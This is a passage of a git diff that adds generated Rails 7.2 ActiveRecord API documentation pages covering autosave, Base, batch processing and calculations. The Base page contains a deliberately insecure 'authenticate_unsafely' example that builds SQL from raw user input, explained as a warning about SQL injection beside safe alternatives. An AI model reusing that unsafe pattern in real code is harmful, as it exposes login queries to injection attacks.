+comment = post.comments.create(body: 'hello world')
+comment.body = 'hi everyone'
+post.save # => saves post, but not comment
+
+ +

When :autosave is true all children are saved, no matter whether they are new records or not:

+ +
class Post < ActiveRecord::Base
+  has_many :comments, autosave: true
+end
+
+post = Post.create(title: 'ruby rocks')
+comment = post.comments.create(body: 'hello world')
+comment.body = 'hi everyone'
+post.comments.build(body: "good morning.")
+post.save # => saves post and both comments.
+
+ +

Destroying one of the associated models as part of the parent’s save action is as simple as marking it for destruction:

+ +
post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+post.comments[1].mark_for_destruction
+post.comments[1].marked_for_destruction? # => true
+post.comments.length # => 2
+
+ +

Note that the model is not yet removed from the database:

+ +
id = post.comments.last.id
+Comment.find_by(id: id).nil? # => false
+
+post.save
+post.reload.comments.length # => 1
+
+ +

Now it is removed from the database:

+ +
Comment.find_by(id: id).nil? # => true
+
+ +

Caveats

+ +

Note that autosave will only trigger for already-persisted association records if the records themselves have been changed. This is to protect against SystemStackError caused by circular association validations. The one exception is if a custom validation context is used, in which case the validations will always fire on the associated records.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + changed_for_autosave?() + +

+ + +
+

Returns whether or not this record has been changed in any way (including whether any of its nested autosave associations are likewise changed)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 273
+    def changed_for_autosave?
+      new_record? || has_changes_to_save? || marked_for_destruction? || nested_records_changed_for_autosave?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroyed_by_association() + +

+ + +
+

Returns the association for the parent being destroyed.

+ +

Used to avoid updating the counter cache unnecessarily.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 267
+    def destroyed_by_association
+      @destroyed_by_association
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroyed_by_association=(reflection) + +

+ + +
+

Records the association that is being destroyed and destroying this record in the process.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 260
+    def destroyed_by_association=(reflection)
+      @destroyed_by_association = reflection
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mark_for_destruction() + +

+ + +
+

Marks this record to be destroyed as part of the parent’s save transaction. This does not actually destroy the record instantly, rather child record will be destroyed when parent.save is called.

+ +

Only useful if the :autosave option on the parent is enabled for this associated model.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 247
+    def mark_for_destruction
+      @marked_for_destruction = true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marked_for_destruction?() + +

+ + +
+

Returns whether or not this record will be destroyed as part of the parent’s save transaction.

+ +

Only useful if the :autosave option on the parent is enabled for this associated model.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 254
+    def marked_for_destruction?
+      @marked_for_destruction
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload(options = nil) + +

+ + +
+

Reloads the attributes of the object as usual and clears marked_for_destruction flag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/autosave_association.rb, line 236
+    def reload(options = nil)
+      @marked_for_destruction = false
+      @destroyed_by_association = nil
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Base.html b/src/7.2/classes/ActiveRecord/Base.html new file mode 100644 index 0000000000..76de951a23 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Base.html @@ -0,0 +1,562 @@ +--- +title: ActiveRecord::Base +layout: default +--- +
+ +
+
+ +
+ +

Active Record

+ +

Active Record objects don’t specify their attributes directly, but rather infer them from the table definition with which they’re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.

+ +

See the mapping rules in table_name and the full example in files/activerecord/README_rdoc.html for more insight.

+ +

Creation

+ +

Active Records accept constructor parameters either in a hash or as a block. The hash method is especially useful when you’re receiving the data from somewhere else, like an HTTP request. It works like this:

+ +
user = User.new(name: "David", occupation: "Code Artist")
+user.name # => "David"
+
+ +

You can also use block initialization:

+ +
user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+
+ +

And of course you can just create a bare object and specify the attributes after the fact:

+ +
user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+
+ +

Conditions

+ +

Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement. The array form is to be used when the condition input is tainted and requires sanitization. The string form can be used for statements that don’t involve tainted data. The hash form works much like the array form, except only equality and range is possible. Examples:

+ +
class User < ActiveRecord::Base
+  def self.authenticate_unsafely(user_name, password)
+    where("user_name = '#{user_name}' AND password = '#{password}'").first
+  end
+
+  def self.authenticate_safely(user_name, password)
+    where("user_name = ? AND password = ?", user_name, password).first
+  end
+
+  def self.authenticate_safely_simply(user_name, password)
+    where(user_name: user_name, password: password).first
+  end
+end
+
+ +

The authenticate_unsafely method inserts the parameters directly into the query and is thus susceptible to SQL-injection attacks if the user_name and password parameters come directly from an HTTP request. The authenticate_safely and authenticate_safely_simply both will sanitize the user_name and password before inserting them in the query, which will ensure that an attacker can’t escape the query and fake the login (or worse).

+ +

When using multiple parameters in the conditions, it can easily become hard to read exactly what the fourth or fifth question mark is supposed to represent. In those cases, you can resort to named bind variables instead. That’s done by replacing the question marks with symbols and supplying a hash with values for the matching symbol keys:

+ +
Company.where(
+  "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
+  { id: 3, name: "37signals", division: "First", accounting_date: '2005-01-01' }
+).first
+
+ +

Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND operator. For instance:

+ +
Student.where(first_name: "Harvey", status: 1)
+Student.where(params[:student])
+
+ +

A range may be used in the hash to use the SQL BETWEEN operator:

+ +
Student.where(grade: 9..12)
+
+ +

An array may be used in the hash to use the SQL IN operator:

+ +
Student.where(grade: [9,11,12])
+
+ +

When joining tables, nested hashes or keys written in the form β€˜table_name.column_name’ can be used to qualify the table name of a particular condition. For instance:

+ +
Student.joins(:schools).where(schools: { category: 'public' })
+Student.joins(:schools).where('schools.category' => 'public' )
+
+ +

Overwriting default accessors

+ +

All column values are automatically available through basic accessors on the Active Record object, but sometimes you want to specialize this behavior. This can be done by overwriting the default accessors (using the same name as the attribute) and calling super to actually change things.

+ +
class Song < ActiveRecord::Base
+  # Uses an integer of seconds to hold the length of the song
+
+  def length=(minutes)
+    super(minutes.to_i * 60)
+  end
+
+  def length
+    super / 60
+  end
+end
+
+ +

Attribute query methods

+ +

In addition to the basic accessors, query methods are also automatically available on the Active Record object. Query methods allow you to test whether an attribute value is present. Additionally, when dealing with numeric values, a query method will return false if the value is zero.

+ +

For example, an Active Record User with the name attribute has a name? method that you can call to determine whether the user has a name:

+ +
user = User.new(name: "David")
+user.name? # => true
+
+anonymous = User.new(name: "")
+anonymous.name? # => false
+
+ +

Query methods will also respect any overrides of default accessors:

+ +
class User
+  # Has admin boolean column
+  def admin
+    false
+  end
+end
+
+user.update(admin: true)
+
+user.read_attribute(:admin)  # => true, gets the column value
+user[:admin] # => true, also gets the column value
+
+user.admin   # => false, due to the getter override
+user.admin?  # => false, due to the getter override
+
+ +

Accessing attributes before they have been typecasted

+ +

Sometimes you want to be able to read the raw attribute data without having the column-determined typecast run its course first. That can be done by using the <attribute>_before_type_cast accessors that all attributes have. For example, if your Account model has a balance attribute, you can call account.balance_before_type_cast or account.id_before_type_cast.

+ +

This is especially useful in validation situations where the user might supply a string for an integer field and you want to display the original string back in an error message. Accessing the attribute normally would typecast the string to 0, which isn’t what you want.

+ +

Dynamic attribute-based finders

+ +

Dynamic attribute-based finders are a mildly deprecated way of getting (and/or creating) objects by simple queries without turning to SQL. They work by appending the name of an attribute to find_by_ like Person.find_by_user_name. Instead of writing Person.find_by(user_name: user_name), you can use Person.find_by_user_name(user_name).

+ +

It’s possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like Person.find_by_last_name!.

+ +

It’s also possible to use multiple attributes in the same find_by_ by separating them with β€œand”.

+ +
Person.find_by(user_name: user_name, password: password)
+Person.find_by_user_name_and_password(user_name, password) # with dynamic finder
+
+ +

It’s even possible to call these dynamic finder methods on relations and named scopes.

+ +
Payment.order("created_on").find_by_amount(50)
+
+ +

Saving arrays, hashes, and other non-mappable objects in text columns

+ +

Active Record can serialize any object in text columns using YAML. To do so, you must specify this with a call to the class method serialize. This makes it possible to store arrays, hashes, and other non-mappable objects without doing any additional work.

+ +
class User < ActiveRecord::Base
+  serialize :preferences
+end
+
+user = User.create(preferences: { "background" => "black", "display" => large })
+User.find(user.id).preferences # => { "background" => "black", "display" => large }
+
+ +

You can also specify a class option as the second parameter that’ll raise an exception if a serialized object is retrieved as a descendant of a class not in the hierarchy.

+ +
class User < ActiveRecord::Base
+  serialize :preferences, Hash
+end
+
+user = User.create(preferences: %w( one two three ))
+User.find(user.id).preferences    # raises SerializationTypeMismatch
+
+ +

When you specify a class option, the default value for that attribute will be a new instance of that class.

+ +
class User < ActiveRecord::Base
+  serialize :preferences, OpenStruct
+end
+
+user = User.new
+user.preferences.theme_color = "red"
+
+ +

Single table inheritance

+ +

Active Record allows inheritance by storing the name of the class in a column that is named β€œtype” by default. See ActiveRecord::Inheritance for more details.

+ +

Connection to multiple databases in different models

+ +

Connections are usually created through ActiveRecord::Base.establish_connection and retrieved by ActiveRecord::Base.lease_connection. All classes inheriting from ActiveRecord::Base will use this connection. But you can also set a class-specific connection. For example, if Course is an ActiveRecord::Base, but resides in a different database, you can just say Course.establish_connection and Course and all of its subclasses will use this connection instead.

+ +

This feature is implemented by keeping a connection pool in ActiveRecord::Base that is a hash indexed by the class. If a connection is requested, the ActiveRecord::Base.retrieve_connection method will go up the class-hierarchy until a connection is found in the connection pool.

+ +

Exceptions

+ + +

Note: The attributes listed are class-level attributes (accessible from both the class and instance level). So it’s possible to assign a logger to the class through Base.logger= which will then be used by all instances in the current object space.

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Batches.html b/src/7.2/classes/ActiveRecord/Batches.html new file mode 100644 index 0000000000..83c0cf5afa --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Batches.html @@ -0,0 +1,465 @@ +--- +title: ActiveRecord::Batches +layout: default +--- +
+ +
+
+ +
+ +

Active Record Batches

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DEFAULT_ORDER=:asc
ORDER_IGNORE_MESSAGE="Scoped order is ignored, it's forced to be batch order."
+ + + + + + + +

Instance Public methods

+ +
+

+ + find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, order: DEFAULT_ORDER, &block) + +

+ + +
+

Looping through a collection of records from the database (using the Scoping::Named::ClassMethods.all method, for example) is very inefficient since it will try to instantiate all the objects at once.

+ +

In that case, batch processing methods allow you to work with the records in batches, thereby greatly reducing memory consumption.

+ +

The find_each method uses find_in_batches with a batch size of 1000 (or as specified by the :batch_size option).

+ +
Person.find_each do |person|
+  person.do_awesome_stuff
+end
+
+Person.where("age > 21").find_each do |person|
+  person.party_all_night!
+end
+
+ +

If you do not provide a block to find_each, it will return an Enumerator for chaining with other methods:

+ +
Person.find_each.with_index do |person, index|
+  person.award_trophy(index + 1)
+end
+
+ +

Options

+
  • +

    :batch_size - Specifies the size of the batch. Defaults to 1000.

    +
  • +

    :start - Specifies the primary key value to start from, inclusive of the value.

    +
  • +

    :finish - Specifies the primary key value to end at, inclusive of the value.

    +
  • +

    :error_on_ignore - Overrides the application config to specify if an error should be raised when an order is present in the relation.

    +
  • +

    :order - Specifies the primary key order (can be :asc or :desc or an array consisting of :asc or :desc). Defaults to :asc.

    + +
    class Order < ActiveRecord::Base
    +  self.primary_key = [:id_1, :id_2]
    +end
    +
    +Order.find_each(order: [:asc, :desc])
    +
    + +

    In the above code, id_1 is sorted in ascending order and id_2 in descending order.

    +
+ +

Limits are honored, and if present there is no requirement for the batch size: it can be less than, equal to, or greater than the limit.

+ +

The options start and finish are especially useful if you want multiple workers dealing with the same processing queue. You can make worker 1 handle all the records between id 1 and 9999 and worker 2 handle from 10000 and beyond by setting the :start and :finish option on each worker.

+ +
# In worker 1, let's process until 9999 records.
+Person.find_each(finish: 9_999) do |person|
+  person.party_all_night!
+end
+
+# In worker 2, let's process from record 10_000 and onwards.
+Person.find_each(start: 10_000) do |person|
+  person.party_all_night!
+end
+
+ +

NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to ascending on the primary key (β€œid ASC”). This also means that this method only works when the primary key is orderable (e.g. an integer or string).

+ +

NOTE: By its nature, batch processing is subject to race conditions if other processes are modifying the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches.rb, line 79
+    def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, order: DEFAULT_ORDER, &block)
+      if block_given?
+        find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, order: order) do |records|
+          records.each(&block)
+        end
+      else
+        enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, order: order) do
+          relation = self
+          apply_limits(relation, start, finish, build_batch_orders(order)).size
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, order: DEFAULT_ORDER) + +

+ + +
+

Yields each batch of records that was found by the find options as an array.

+ +
Person.where("age > 21").find_in_batches do |group|
+  sleep(50) # Make sure it doesn't get too crowded in there!
+  group.each { |person| person.party_all_night! }
+end
+
+ +

If you do not provide a block to find_in_batches, it will return an Enumerator for chaining with other methods:

+ +
Person.find_in_batches.with_index do |group, batch|
+  puts "Processing group ##{batch}"
+  group.each(&:recover_from_last_night!)
+end
+
+ +

To be yielded each record one by one, use find_each instead.

+ +

Options

+
  • +

    :batch_size - Specifies the size of the batch. Defaults to 1000.

    +
  • +

    :start - Specifies the primary key value to start from, inclusive of the value.

    +
  • +

    :finish - Specifies the primary key value to end at, inclusive of the value.

    +
  • +

    :error_on_ignore - Overrides the application config to specify if an error should be raised when an order is present in the relation.

    +
  • +

    :order - Specifies the primary key order (can be :asc or :desc or an array consisting of :asc or :desc). Defaults to :asc.

    + +
    class Order < ActiveRecord::Base
    +  self.primary_key = [:id_1, :id_2]
    +end
    +
    +Order.find_in_batches(order: [:asc, :desc])
    +
    + +

    In the above code, id_1 is sorted in ascending order and id_2 in descending order.

    +
+ +

Limits are honored, and if present there is no requirement for the batch size: it can be less than, equal to, or greater than the limit.

+ +

The options start and finish are especially useful if you want multiple workers dealing with the same processing queue. You can make worker 1 handle all the records between id 1 and 9999 and worker 2 handle from 10000 and beyond by setting the :start and :finish option on each worker.

+ +
# Let's process from record 10_000 on.
+Person.find_in_batches(start: 10_000) do |group|
+  group.each { |person| person.party_all_night! }
+end
+
+ +

NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to ascending on the primary key (β€œid ASC”). This also means that this method only works when the primary key is orderable (e.g. an integer or string).

+ +

NOTE: By its nature, batch processing is subject to race conditions if other processes are modifying the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches.rb, line 148
+    def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, order: DEFAULT_ORDER)
+      relation = self
+      unless block_given?
+        return to_enum(:find_in_batches, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, order: order) do
+          total = apply_limits(relation, start, finish, build_batch_orders(order)).size
+          (total - 1).div(batch_size) + 1
+        end
+      end
+
+      in_batches(of: batch_size, start: start, finish: finish, load: true, error_on_ignore: error_on_ignore, order: order) do |batch|
+        yield batch.to_a
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil, order: DEFAULT_ORDER, use_ranges: nil, &block) + +

+ + +
+

Yields ActiveRecord::Relation objects to work with a batch of records.

+ +
Person.where("age > 21").in_batches do |relation|
+  relation.delete_all
+  sleep(10) # Throttle the delete queries
+end
+
+ +

If you do not provide a block to in_batches, it will return a BatchEnumerator which is enumerable.

+ +
Person.in_batches.each_with_index do |relation, batch_index|
+  puts "Processing relation ##{batch_index}"
+  relation.delete_all
+end
+
+ +

Examples of calling methods on the returned BatchEnumerator object:

+ +
Person.in_batches.delete_all
+Person.in_batches.update_all(awesome: true)
+Person.in_batches.each_record(&:party_all_night!)
+
+ +

Options

+
  • +

    :of - Specifies the size of the batch. Defaults to 1000.

    +
  • +

    :load - Specifies if the relation should be loaded. Defaults to false.

    +
  • +

    :start - Specifies the primary key value to start from, inclusive of the value.

    +
  • +

    :finish - Specifies the primary key value to end at, inclusive of the value.

    +
  • +

    :error_on_ignore - Overrides the application config to specify if an error should be raised when an order is present in the relation.

    +
  • +

    :order - Specifies the primary key order (can be :asc or :desc or an array consisting of :asc or :desc). Defaults to :asc.

    + +
    class Order < ActiveRecord::Base
    +  self.primary_key = [:id_1, :id_2]
    +end
    +
    +Order.in_batches(order: [:asc, :desc])
    +
    + +

    In the above code, id_1 is sorted in ascending order and id_2 in descending order.

    +
  • +

    :use_ranges - Specifies whether to use range iteration (id >= x AND id <= y). It can make iterating over the whole or almost whole tables several times faster. Only whole table iterations use this style of iteration by default. You can disable this behavior by passing false. If you iterate over the table and the only condition is, e.g., archived_at: nil (and only a tiny fraction of the records are archived), it makes sense to opt in to this approach.

    +
+ +

Limits are honored, and if present there is no requirement for the batch size, it can be less than, equal, or greater than the limit.

+ +

The options start and finish are especially useful if you want multiple workers dealing with the same processing queue. You can make worker 1 handle all the records between id 1 and 9999 and worker 2 handle from 10000 and beyond by setting the :start and :finish option on each worker.

+ +
# Let's process from record 10_000 on.
+Person.in_batches(start: 10_000).update_all(awesome: true)
+
+ +

An example of calling where query method on the relation:

+ +
Person.in_batches.each do |relation|
+  relation.update_all('age = age + 1')
+  relation.where('age > 21').update_all(should_party: true)
+  relation.where('age <= 21').delete_all
+end
+
+ +

NOTE: If you are going to iterate through each record, you should call each_record on the yielded BatchEnumerator:

+ +
Person.in_batches.each_record(&:party_all_night!)
+
+ +

NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to ascending on the primary key (β€œid ASC”). This also means that this method only works when the primary key is orderable (e.g. an integer or string).

+ +

NOTE: By its nature, batch processing is subject to race conditions if other processes are modifying the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches.rb, line 239
+    def in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil, order: DEFAULT_ORDER, use_ranges: nil, &block)
+      unless Array(order).all? { |ord| [:asc, :desc].include?(ord) }
+        raise ArgumentError, ":order must be :asc or :desc or an array consisting of :asc or :desc, got #{order.inspect}"
+      end
+
+      if arel.orders.present?
+        act_on_ignored_order(error_on_ignore)
+      end
+
+      unless block
+        return BatchEnumerator.new(of: of, start: start, finish: finish, relation: self, order: order, use_ranges: use_ranges)
+      end
+
+      batch_limit = of
+
+      if limit_value
+        remaining   = limit_value
+        batch_limit = remaining if remaining < batch_limit
+      end
+
+      if self.loaded?
+        batch_on_loaded_relation(
+          relation: self,
+          start: start,
+          finish: finish,
+          order: order,
+          batch_limit: batch_limit,
+          &block
+        )
+      else
+        batch_on_unloaded_relation(
+          relation: self,
+          start: start,
+          finish: finish,
+          load: load,
+          order: order,
+          use_ranges: use_ranges,
+          remaining: remaining,
+          batch_limit: batch_limit,
+          &block
+        )
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Batches/BatchEnumerator.html b/src/7.2/classes/ActiveRecord/Batches/BatchEnumerator.html new file mode 100644 index 0000000000..9870c58619 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Batches/BatchEnumerator.html @@ -0,0 +1,440 @@ +--- +title: ActiveRecord::Batches::BatchEnumerator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + finish

The primary key value at which the BatchEnumerator ends, inclusive of the value.

+ [R] + relation

The relation from which the BatchEnumerator yields batches.

+ [R] + start

The primary key value from which the BatchEnumerator starts, inclusive of the value.

+ + + + + +

Instance Public methods

+ +
+

+ + batch_size() + +

+ + +
+

The size of the batches yielded by the BatchEnumerator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 27
+      def batch_size
+        @of
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_all() + +

+ + +
+

Deletes records in batches. Returns the total number of rows affected.

+ +
Person.in_batches.delete_all
+
+ +

See Relation#delete_all for details of how each batch is deleted.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 65
+      def delete_all
+        sum(&:delete_all)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_all() + +

+ + +
+

Destroys records in batches. Returns the total number of rows affected.

+ +
Person.where("age < 10").in_batches.destroy_all
+
+ +

See Relation#destroy_all for details of how each batch is destroyed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 96
+      def destroy_all
+        sum do |relation|
+          relation.destroy_all.count(&:destroyed?)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+

Yields an ActiveRecord::Relation object for each batch of records.

+ +
Person.in_batches.each do |relation|
+  relation.update_all(awesome: true)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 107
+      def each(&block)
+        enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false, order: @order, use_ranges: @use_ranges)
+        return enum.each(&block) if block_given?
+        enum
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each_record(&block) + +

+ + +
+

Looping through a collection of records from the database (using the all method, for example) is very inefficient since it will try to instantiate all the objects at once.

+ +

In that case, batch processing methods allow you to work with the records in batches, thereby greatly reducing memory consumption.

+ +
Person.in_batches.each_record do |person|
+  person.do_awesome_stuff
+end
+
+Person.where("age > 21").in_batches(of: 10).each_record do |person|
+  person.party_all_night!
+end
+
+ +

If you do not provide a block to each_record, it will return an Enumerator for chaining with other methods:

+ +
Person.in_batches.each_record.with_index do |person, index|
+  person.award_trophy(index + 1)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 52
+      def each_record(&block)
+        return to_enum(:each_record) unless block_given?
+
+        @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true, order: @order).each do |relation|
+          relation.records.each(&block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + touch_all(...) + +

+ + +
+

Touches records in batches. Returns the total number of rows affected.

+ +
Person.in_batches.touch_all
+
+ +

See Relation#touch_all for details of how each batch is touched.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 85
+      def touch_all(...)
+        sum do |relation|
+          relation.touch_all(...)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_all(updates) + +

+ + +
+

Updates records in batches. Returns the total number of rows affected.

+ +
Person.in_batches.update_all("age = age + 1")
+
+ +

See Relation#update_all for details of how each batch is updated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/batches/batch_enumerator.rb, line 74
+      def update_all(updates)
+        sum do |relation|
+          relation.update_all(updates)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Calculations.html b/src/7.2/classes/ActiveRecord/Calculations.html new file mode 100644 index 0000000000..0658ce4fc3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Calculations.html @@ -0,0 +1,988 @@ +--- +title: ActiveRecord::Calculations +layout: default +--- +
+ +
+
+ +
+ +

Active Record Calculations

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + async_average(column_name) + +

+ + +
+

Same as average, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 122
+    def async_average(column_name)
+      async.average(column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_count(column_name = nil) + +

+ + +
+

Same as count, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 108
+    def async_count(column_name = nil)
+      async.count(column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_ids() + +

+ + +
+

Same as ids, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 405
+    def async_ids
+      async.ids
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_maximum(column_name) + +

+ + +
+

Same as maximum, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 152
+    def async_maximum(column_name)
+      async.maximum(column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_minimum(column_name) + +

+ + +
+

Same as minimum, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 137
+    def async_minimum(column_name)
+      async.minimum(column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_pick(*column_names) + +

+ + +
+

Same as pick, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 359
+    def async_pick(*column_names)
+      async.pick(*column_names)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_pluck(*column_names) + +

+ + +
+

Same as pluck, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 330
+    def async_pluck(*column_names)
+      async.pluck(*column_names)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_sum(identity_or_column = nil) + +

+ + +
+

Same as sum, but performs the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 182
+    def async_sum(identity_or_column = nil)
+      async.sum(identity_or_column)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + average(column_name) + +

+ + +
+

Calculates the average value on a given column. Returns nil if there’s no row. See calculate for examples with options.

+ +
Person.average(:age) # => 35.8
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 116
+    def average(column_name)
+      calculate(:average, column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + calculate(operation, column_name) + +

+ + +
+

This calculates aggregate values in the given column. Methods for count, sum, average, minimum, and maximum have been added as shortcuts.

+ +
Person.calculate(:count, :all) # The same as Person.count
+Person.average(:age) # SELECT AVG(age) FROM people...
+
+# Selects the minimum age for any family without any minors
+Person.group(:last_name).having("min(age) > 17").minimum(:age)
+
+Person.sum("2 * age")
+
+ +

There are two basic forms of output:

+
  • +

    Single aggregate value: The single value is type cast to Integer for COUNT, Float for AVG, and the given column’s type for everything else.

    +
  • +

    Grouped values: This returns an ordered hash of the values and groups them. It takes either a column name, or the name of a belongs_to association.

    + +
    values = Person.group('last_name').maximum(:age)
    +puts values["Drake"]
    +# => 43
    +
    +drake  = Family.find_by(last_name: 'Drake')
    +values = Person.group(:family).maximum(:age) # Person belongs_to :family
    +puts values[drake]
    +# => 43
    +
    +values.each do |family, max_age|
    +  ...
    +end
    +
    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 217
+    def calculate(operation, column_name)
+      operation = operation.to_s.downcase
+
+      if @none
+        case operation
+        when "count", "sum"
+          result = group_values.any? ? Hash.new : 0
+          return @async ? Promise::Complete.new(result) : result
+        when "average", "minimum", "maximum"
+          result = group_values.any? ? Hash.new : nil
+          return @async ? Promise::Complete.new(result) : result
+        end
+      end
+
+      if has_include?(column_name)
+        relation = apply_join_dependency
+
+        if operation == "count"
+          unless distinct_value || distinct_select?(column_name || select_for_count)
+            relation.distinct!
+            relation.select_values = Array(klass.primary_key || table[Arel.star])
+          end
+          # PostgreSQL: ORDER BY expressions must appear in SELECT list when using DISTINCT
